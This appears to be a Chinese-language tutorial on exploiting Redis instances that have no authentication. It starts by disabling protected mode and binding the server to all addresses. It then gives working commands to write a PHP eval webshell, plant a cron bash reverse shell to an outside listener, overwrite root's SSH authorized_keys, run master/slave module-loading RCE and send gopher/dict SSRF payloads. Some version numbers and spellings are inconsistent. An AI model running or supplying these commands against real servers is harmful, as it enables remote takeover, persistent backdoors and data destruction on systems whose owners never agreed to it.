redis安装及配置
wget http://download.redis.io/releases/redis-3.2.0.tar.gz tar xzf
redis-3.2.0.tar.gz cd redis-3.2.0 make cp
/root/redis-6.2.6/redis.conf /usr/local/redis/bin/ cd
/usr/local/redis/bin/ vi redis.conf
#修改内容如下:
#protected-mode 的值从 yes 修改成 no
#bind 127.0.0.1 改成bind 0.0.0.0 ./redis-server redis.conf
关闭防护模式
修改成 0.0.0.0 ,修改白名单为任意IP地址
redis在设有防护模式的场景下,无法输入有效命令
且flushall
为删除Redis数据库数据指令,在实战中切勿使用,牢底坐穿术!
攻击利用
redis基本命令
#连接redis
redis-cli -h 192.168.1.108查看redis版本信息、一些具体信息、服务器版本信息等等:
192.168.1.108:6379>info将变量x的值设为test:
192.168.1.108:6379>set x “hello”获取设置的某个变量的值:
192.168.1.108:6379>get x查看所有键:
192.168.1.108:6379>KEYS *获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。
192.168.1.108:6379>CONFIG GET dir
192.168.1.108:6379>CONFIG GET dbfilename
写入WebShell
set xx "\n\n\<?php @eval($_POST['test']);?>\n\n"
config set dir /var/www/html
config set dbfilename shell.php
save
写入计划任务
先在自己的服务器上监听一个端口
nc -lvnp 7999然后执行命令:
redis-cli -h 192.168.1.108
set xx "\n* * * * * /bin/bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
## 写入 SSH公钥
在本地生成一对密钥:
$ ssh-keygen -t rsa
然后将公钥写入 key.txt 文件
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
之后利用redis未授权访问漏洞将公钥写到/root/.ssh/id_rsa文件中
$ cat key.txt | redis-cli -h ip -x set crackit
$ redis-cli -h ip -x set crackit
config set dir /root/.ssh
config get dir
config set dbfilename "authorized_keys " //必须为authorized_keys,写死在redis.conf配置文件里的
save
这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行
$ ssh –i id_rsa ip
redis 4.x/5.x 主从复制导致的命令执行
redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
漏洞环境采用的是vulhub
redis主从复制命令执行漏洞脚本下载地址
脚本命令:
python redis-master.py -r target-ip -p 6379 -L local-host -P 8888 -f RedisModulesSDK/exp.so -c "id"
利用gopher协议打redis
在实战中经常会遇到SSRF漏洞,可利用gopher协议,结合redis未授权,对服务器进行写入Webshell或者定时任务,这里仅简述用法,如何结合SSRF需考虑实际场景
脚本下载地址
在Gopherus-master/scripts文件夹中找到Redis.py
default 修改值为 “<?php eval($_GET['cmd']); ?>”
利用脚本生成POC使用curl写入Webshell
测试漏洞攻击成功
利用dict协议打redis
dict探测端口开放情况
对于未开放的端口,均会回复:
Failed to connect to 192.168.121.152 port xxxx after 2047 ms: Couldn’t connect to server
dict操作redis,举一反三同样也可以使用dict对redis服务器写入Webshell、定时任务等,,这里不再赘述。
对于空格,可以使用URFL编码"%20"或者":"替代